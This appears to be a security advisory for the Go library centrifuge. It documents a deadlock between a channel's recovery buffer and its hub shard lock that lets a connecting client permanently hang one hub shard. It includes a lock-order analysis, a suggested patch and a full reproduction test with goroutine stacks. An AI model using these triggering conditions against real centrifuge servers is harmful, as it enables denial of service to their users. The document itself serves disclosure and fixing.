Deadlock between recovery buffer and hub shard lock lets a client stop a hub shard (denial of service)
Description
A client can deadlock one of the 64 hub shards of a centrifuge node by connecting, when the server gives the connection two recoverable server-side subscriptions (ConnectReply.Subscriptions) whose channels are in the same hub shard, and one of the two channels is receiving publications at that moment. If a connect misses the timing, the client can reconnect and try again. The deadlock does not clear. Publications into the channels of that shard hang, and so do subscribes to those channels, unsubscribes from them and disconnects of their subscribers. More clients get stuck behind them, and Node.Shutdown does not return, so only killing the process ends it.
Client.Subscribe with recovery and join/leave on leads into the same deadlock when the node uses MemoryBroker.
We reproduced it on v0.39.2 and on master at 66e8015; older releases were not tested. Our CVSS 3.1 estimate is 5.3 (medium). The bug was first reported in public as centrifugal/centrifuge#639, which has the full reproduction and a proposed patch with two regression tests.
Details
A subscription with recovery (or positioning) locks its recovery buffer (pubBufferMu) in LockBufferAndReadBuffered, and the buffer stays locked until StopBuffering. A publication into that channel waits for the buffer in SyncPublication, and all that time it holds the read lock of the channel's hub shard (subShard.mu). So a goroutine that holds the buffer must not wait for that shard's lock at all. That includes waiting to read, because a new reader waits behind a writer that is already waiting. The comment in commitSubscription (client.go#L4146-L4152) describes this lock order for the rollback path. Two other paths break it.
Connect-time subscriptions
Take two recoverable channels a and b in the same hub shard:
connectCmdsubscribes to the channels in parallel goroutines and waits for all of them (client.go#L3411-L3443).- The subscription to
alocksa's recovery buffer inLockBufferAndReadBuffered(client.go#L4508). It stays locked untilconnectCmdhas written the reply and callsunlockServerSideSubscriptions(client.go#L3531). - A publication into
aholds the read lock of the shard'ssubShard.mu(hub.go#L1151) and blocks inSyncPublicationona's buffer (internal/recovery/sync.go#L47). - The subscription to
bblocks inaddSubon the write lock of the samesubShard.mu(hub.go#L813).
connectCmd waits for b, b waits for the publication, and the publication waits for connectCmd.
Client.Subscribe with join/leave
Client.Subscribe publishes the join (client.go#L3814) before its deferred StopBuffering (client.go#L3790). With MemoryBroker, PublishJoin calls HandleJoin directly (broker_memory.go#L223), and handleJoin takes the shard's read lock in NumSubscribers (node.go#L899) and again in broadcastJoin (node.go#L904). Suppose a publication into the channel is blocked on the buffer at that point, and a subscribe or unsubscribe on the same shard is waiting for the write lock. Then the join's RLock queues behind that writer, and none of them can proceed. connectCmd and client-side subscribes publish the join after StopBuffering, so they don't have this problem.
After the deadlock
Everything that needs the stuck shard's lock blocks as well. The node info publisher (sendNodePing, pubNode) holds Node.mu for reading (node.go#L1050) while it waits in Hub.NumChannels for that shard, and Node.Shutdown starts with n.mu.Lock() (node.go#L408), so shutdown blocks too, even with a context deadline.
Suggested fix
The patch against master 66e8015 is in #639. It changes two things:
- In
connectCmd, no connect-time subscription locks its buffer until all of them have been added to the hub. Async.WaitGroupis passed tosubscribeCmd:Doneright afteraddSubscription(or on any earlier return), andWaitright beforeLockBufferAndReadBuffered. Client.SubscribecallsStopBufferingbefore it publishes the join, asconnectCmdand client-side subscribes already do.
With the patch, both new regression tests pass under -race, the library's unit tests pass, and the reproduction below no longer hangs.
PoC
The reproduction uses only the public API and runs in one process: no Redis, no network connections. We ran it with Go 1.26.8 on linux/amd64 (golang:1.26 Docker image, 24 CPUs).
mkdir repro && cd repro
go mod init repro
go get github.com/centrifugal/centrifuge@v0.39.2 github.com/centrifugal/protocol@v0.22.1
# save repro_test.go (below) here, then:
go mod tidy
go test -v -timeout 10m .How the two tests are set up:
- The node is
centrifuge.Newwith the defaultMemoryBroker.OnConnectinggives each connection the channels named in its token as server-side subscriptions withEnableRecovery: true. The transport is an in-memorycentrifuge.Transport(Protobuf, bidirectional) that discards what it is sent. It has pings off because it can't answer them; with the default ping settings every client would be disconnected with 3012 (no pong) within 35 s. TestConnectTimeSubscriptionsDeadlockconnects 10,000 subscribers toa, so that each broadcast holds the shard's read lock for a while. It publishes intoain a loop (WithHistory(100, time.Minute)) and keeps connecting clients whose connect reply hasaandb18, both with recovery.b18is the first ofb0,b1, ... that is ina's hub shard (FNV-64a modulo 64: shard 12).TestServerSideSubscribeJoinDeadlockdoes the same for channelm, but each attempt connects a client without channels and then callsClient.Subscribe(m, WithRecovery(true), WithEmitJoinLeave(true)). Meanwhile another client subscribes to and unsubscribes fromy71, a channel inm's hub shard (24), in a loop.- A call that hasn't returned after 10 s gets another 60 s. Only then does the test fail, and it prints each distinct stack of the library's goroutines once, with a count.
SECONDS(default 60) sets how long each test keeps starting calls, andAUDIENCE(default 10000) sets the number of subscribers.
On v0.39.2 both tests fail, each after about 70 s. The failure messages of one run:
connect 5 (1m10s into the run) has not returned in 70 s; publications: 12 at 10 s, 12 at 70 s; disconnects by code: map[3000:5]
subscribe 24 (1m11s into the run) has not returned in 70 s; publications: 107 at 10 s, 107 at 70 s; disconnects by code: map[3000:24]Results of our runs:
- v0.39.2: the connect test hung in 7 of 7 runs and the join test in 4 of 4, each time within about a second of the start.
- master 66e8015: 3 of 3 and 1 of 1.
- 9 of these 15 runs used an earlier version of the test that gave up after 10 s. In every hung run the stacks show the cycle: a publication in
SyncPublication, a subscribe or unsubscribe waiting for the shard's write lock, and eitherconnectCmdinwg.Waitor the join waiting for the read lock. In the runs with the 70 s wait the publisher also made no progress in the last 60 s. - master with the suggested patch: no hangs in three 60 s runs of each test (1,671 to 2,087 connects and 895 to 1,081 subscribes per run, none slower than 10 s).
- One more run of the steps above on a fresh module, v0.39.2: both tests hung again within a second of the start, and the publisher made no progress in the last 60 s.
The goroutines of the connect path, trimmed to the relevant frames (v0.39.2):
1 goroutine(s) [sync.Mutex.Lock]: <- holds subShard.mu for reading (hub.go:1151)
recovery.(*PubSubSync).SyncPublication internal/recovery/sync.go:47
(*Client).writePublication client.go:5011
(*subShard).broadcastPublication hub.go:1367
(*Node).handlePublication node.go:885
(*MemoryBroker).Publish broker_memory.go:137
(*Node).Publish node.go:964
1 goroutine(s) [sync.WaitGroup.Wait]: <- a's buffer stays locked until this reaches client.go:3531
(*Client).connectCmd client.go:3443
1 goroutine(s) [sync.RWMutex.Lock]:
(*subShard).addSub hub.go:813
(*Node).addSubscription node.go:1266
(*Client).subscribeCmd client.go:4320
(*Client).connectCmd.func1 client.go:3430The join path. In one run the join blocked in NumSubscribers, in another in broadcastJoin. The writer was a subscribe in one run and the other channel's unsubscribe in another:
1 goroutine(s) [sync.Mutex.Lock]: <- holds subShard.mu for reading
recovery.(*PubSubSync).SyncPublication internal/recovery/sync.go:47
(*Client).writePublication client.go:5011
(*subShard).broadcastPublication hub.go:1367
(*Node).Publish node.go:964
1 goroutine(s) [sync.RWMutex.Lock]: <- the other channel's unsubscribe
(*subShard).removeSubID hub.go:884
(*Node).removeSubscription.func1 node.go:1375
1 goroutine(s) [sync.RWMutex.RLock]: <- m's buffer locked at client.go:4508
(*subShard).broadcastJoin hub.go:1388
(*Node).handleJoin node.go:904
(*MemoryBroker).PublishJoin broker_memory.go:223
(*Node).publishJoin node.go:971
(*Client).publishJoinAndPresence client.go:805
(*Client).Subscribe client.go:3814repro_test.go:
// Package repro reproduces a deadlock of github.com/centrifugal/centrifuge with its public API only.
//
// A recovering subscription keeps its recovery buffer locked until its reply is written, and a publication into its
// channel waits for that buffer while it holds the channel's hub shard lock. Two paths wait for that shard lock with
// the buffer locked: a connect whose ConnectReply lists two recoverable channels of one hub shard (the second
// subscription waits in addSub while the first one's buffer is locked), and Client.Subscribe with join/leave (the
// join takes the shard's read lock, which queues behind any waiting writer). None of the goroutines ever returns.
package repro
import (
"context"
"fmt"
"hash/fnv"
"io"
"os"
"regexp"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
"github.com/centrifugal/centrifuge"
"github.com/centrifugal/protocol"
)
// transport is a bidirectional Protobuf connection that discards what it is sent. It never answers a ping, so pings
// are off: with the default ping settings every client would be disconnected with 3012 (no pong) within 35 s.
type transport struct {
mu sync.Mutex
closed bool
}
func (t *transport) Name() string { return "repro" }
func (t *transport) AcceptProtocol() string { return "" }
func (t *transport) Protocol() centrifuge.ProtocolType { return centrifuge.ProtocolTypeProtobuf }
func (t *transport) ProtocolVersion() centrifuge.ProtocolVersion { return centrifuge.ProtocolVersion2 }
func (t *transport) Unidirectional() bool { return false }
func (t *transport) Emulation() bool { return false }
func (t *transport) DisabledPushFlags() uint64 { return 0 }
func (t *transport) PingPongConfig() centrifuge.PingPongConfig {
return centrifuge.PingPongConfig{PingInterval: -1, PongTimeout: -1}
}
func (t *transport) Write([]byte) error { return t.err() }
func (t *transport) WriteMany(...[]byte) error { return t.err() }
func (t *transport) Close(centrifuge.Disconnect) error {
t.mu.Lock()
t.closed = true
t.mu.Unlock()
return nil
}
func (t *transport) err() error {
t.mu.Lock()
defer t.mu.Unlock()
if t.closed {
return io.EOF
}
return nil
}
// hubShard is the library's hub shard of a channel: index(ch, numHubShards) in node.go, FNV-64a modulo 64.
func hubShard(ch string) uint64 {
h := fnv.New64a()
_, _ = h.Write([]byte(ch))
return h.Sum64() % 64
}
// connect runs a connect command to completion; the token selects the connect-time subscriptions.
func connect(node *centrifuge.Node, token string) (*centrifuge.Client, centrifuge.ClientCloseFunc) {
c, closeFn, err := centrifuge.NewClient(context.Background(), node, &transport{})
if err != nil {
panic(err) // called from goroutines other than the test's too
}
c.HandleCommand(&protocol.Command{Id: 1, Connect: &protocol.ConnectRequest{Token: token}}, 0)
return c, closeFn
}
// publish publishes into ch with history until stop is closed.
func publish(node *centrifuge.Node, ch string, stop <-chan struct{}, published *atomic.Int64) {
for {
select {
case <-stop:
return
default:
}
_, _ = node.Publish(ch, []byte("x"), centrifuge.WithHistory(100, time.Minute))
published.Add(1)
}
}
// sameShard returns a channel name with the given prefix in the hub shard of ch.
func sameShard(ch, prefix string) string {
for i := 0; ; i++ {
if s := fmt.Sprintf("%s%d", prefix, i); hubShard(s) == hubShard(ch) {
return s
}
}
}
// stacks returns each distinct stack of the library's goroutines once, with how many goroutines have it.
func stacks() string {
buf := make([]byte, 256<<20)
buf = buf[:runtime.Stack(buf, true)]
clean := regexp.MustCompile(`(?m)\([^()]*\)$| \+0x[0-9a-f]+$| in goroutine \d+$`)
count := map[string]int{}
var order []string
for _, g := range strings.Split(string(buf), "\n\n") {
if !strings.Contains(g, "centrifugal/centrifuge") {
continue
}
head, body, _ := strings.Cut(g, "\n")
k := head[strings.Index(head, "["):] + "\n" + clean.ReplaceAllString(body, "")
if count[k] == 0 {
order = append(order, k)
}
count[k]++
}
var out []string
for _, k := range order {
out = append(out, fmt.Sprintf("%d goroutine(s) %s", count[k], k))
}
return strings.Join(out, "\n\n")
}
func env(name string, def int) int {
if v, err := strconv.Atoi(os.Getenv(name)); err == nil {
return v
}
return def
}
// newNode runs a node whose OnConnecting subscribes a connection to the channels its token names ("a+b": a and b),
// with recovery. It counts the disconnects by code.
func newNode(t *testing.T) (*centrifuge.Node, *codes) {
node, err := centrifuge.New(centrifuge.Config{LogLevel: centrifuge.LogLevelError})
if err != nil {
t.Fatal(err)
}
var users atomic.Int64
node.OnConnecting(func(_ context.Context, e centrifuge.ConnectEvent) (centrifuge.ConnectReply, error) {
subs := map[string]centrifuge.SubscribeOptions{}
for _, ch := range strings.Split(e.Token, "+") {
if ch != "" {
subs[ch] = centrifuge.SubscribeOptions{EnableRecovery: true}
}
}
return centrifuge.ConnectReply{
Credentials: ¢rifuge.Credentials{UserID: strconv.FormatInt(users.Add(1), 10)},
Subscriptions: subs,
}, nil
})
d := &codes{m: map[uint32]int{}}
node.OnConnect(func(c *centrifuge.Client) {
c.OnDisconnect(func(e centrifuge.DisconnectEvent) { d.add(e.Code) })
})
if err := node.Run(); err != nil {
t.Fatal(err)
}
// No node.Shutdown: it does not return after the deadlock.
return node, d
}
type codes struct {
mu sync.Mutex
m map[uint32]int
}
func (d *codes) add(code uint32) {
d.mu.Lock()
d.m[code]++
d.mu.Unlock()
}
func (d *codes) String() string {
d.mu.Lock()
defer d.mu.Unlock()
return fmt.Sprint(d.m)
}
// run calls attempt until the time is up. An attempt that has not returned after 10 s gets another 60 s; if it still
// has not returned, the test fails and prints the stacks.
func run(t *testing.T, what string, attempt func(), published *atomic.Int64, d *codes) {
start := time.Now()
deadline := start.Add(time.Duration(env("SECONDS", 60)) * time.Second)
n, slow := 0, 0
for ; time.Now().Before(deadline); n++ {
done := make(chan struct{})
go func() {
attempt()
close(done)
}()
select {
case <-done:
continue
case <-time.After(10 * time.Second):
}
at10 := published.Load()
select {
case <-done:
slow++
continue
case <-time.After(60 * time.Second):
}
t.Fatalf("%s %d (%v into the run) has not returned in 70 s; publications: %d at 10 s, %d at 70 s; disconnects by code: %v\n\n%s",
what, n, time.Since(start).Round(time.Second), at10, published.Load(), d, stacks())
}
t.Logf("no deadlock: %d %ss in %v (%d took more than 10 s), %d publications, disconnects by code: %v",
n, what, time.Since(start).Round(time.Second), slow, published.Load(), d)
}
// A connect whose reply lists two recoverable channels of one hub shard, while the first receives publications.
func TestConnectTimeSubscriptionsDeadlock(t *testing.T) {
a := "a"
b := sameShard(a, "b")
node, d := newNode(t)
// Subscribers of a make each broadcast hold the hub shard's read lock long enough to be caught.
for i, n := 0, env("AUDIENCE", 10000); i < n; i++ {
connect(node, a)
}
stop := make(chan struct{})
defer close(stop)
var published atomic.Int64
go publish(node, a, stop, &published)
t.Logf("channels %q and %q, hub shard %d", a, b, hubShard(a))
run(t, "connect", func() {
_, closeFn := connect(node, a+"+"+b)
_ = closeFn()
}, &published, d)
}
// A server-side Client.Subscribe with recovery and join/leave, while its channel receives publications and another
// channel of the same hub shard sees subscribes and unsubscribes.
func TestServerSideSubscribeJoinDeadlock(t *testing.T) {
m := "m"
y := sameShard(m, "y")
node, d := newNode(t)
for i, n := 0, env("AUDIENCE", 10000); i < n; i++ {
connect(node, m)
}
stop := make(chan struct{})
defer close(stop)
var published atomic.Int64
go publish(node, m, stop, &published)
churn, _ := connect(node, "")
go func() { // writers of the hub shard
for {
select {
case <-stop:
return
default:
}
_ = churn.Subscribe(y)
churn.Unsubscribe(y)
}
}()
t.Logf("channels %q and %q, hub shard %d", m, y, hubShard(m))
run(t, "subscribe", func() {
c, closeFn := connect(node, "")
_ = c.Subscribe(m, centrifuge.WithRecovery(true), centrifuge.WithEmitJoinLeave(true))
_ = closeFn()
}, &published, d)
}Impact
This is a denial of service through a deadlock (CWE-833). A server built on centrifuge is affected when either of these holds:
- It gives a connection two or more server-side subscriptions with recovery in
ConnectReply.Subscriptions, whose channels are in the same hub shard, while one of them receives publications. Positioning without recovery takes the same code path, but we did not test it. The hub shard of a channel follows from its name (FNV-64a modulo 64), so with per-user channel names some users get such a pair on every connect. - It calls
Client.Subscribewith recovery and join/leave on, withMemoryBroker, while the channel receives publications and other subscribes or unsubscribes happen in the same hub shard.
Once it happens, the hub shard stays stuck:
- Publications into any of its channels hang, and so do subscribes to them, unsubscribes from them and disconnects of their subscribers (
removeSubscription). - The stuck publication is already in the history, but the subscribers that come after the stuck client in the broadcast loop never got it. For those with recovery or positioning, the periodic position check (client.go#L1257-L1266) then disconnects them with insufficient state, or unsubscribes them if the subscription is client-side, and each of those blocks in
removeSubscription. In our runs with 10,000 subscribers, 3,125 to 8,130 of them were stuck like that after 70 s. Node.Shutdowndoes not return. We called it with a 5 s deadline after the deadlock, and it still hadn't returned almost four minutes later. Only killing the process ends it.
Our reasons for the CVSS estimate:
- AV:N: it is triggered over the client connection.
- AC:H: it needs the server setup above and a publication in flight at the right moment, but a client can retry by reconnecting.
- PR:L: a client that is allowed to connect.
- UI:N.
- A:H: the shard stays stuck until the process is killed.
- C:N and I:N: nothing is read or changed.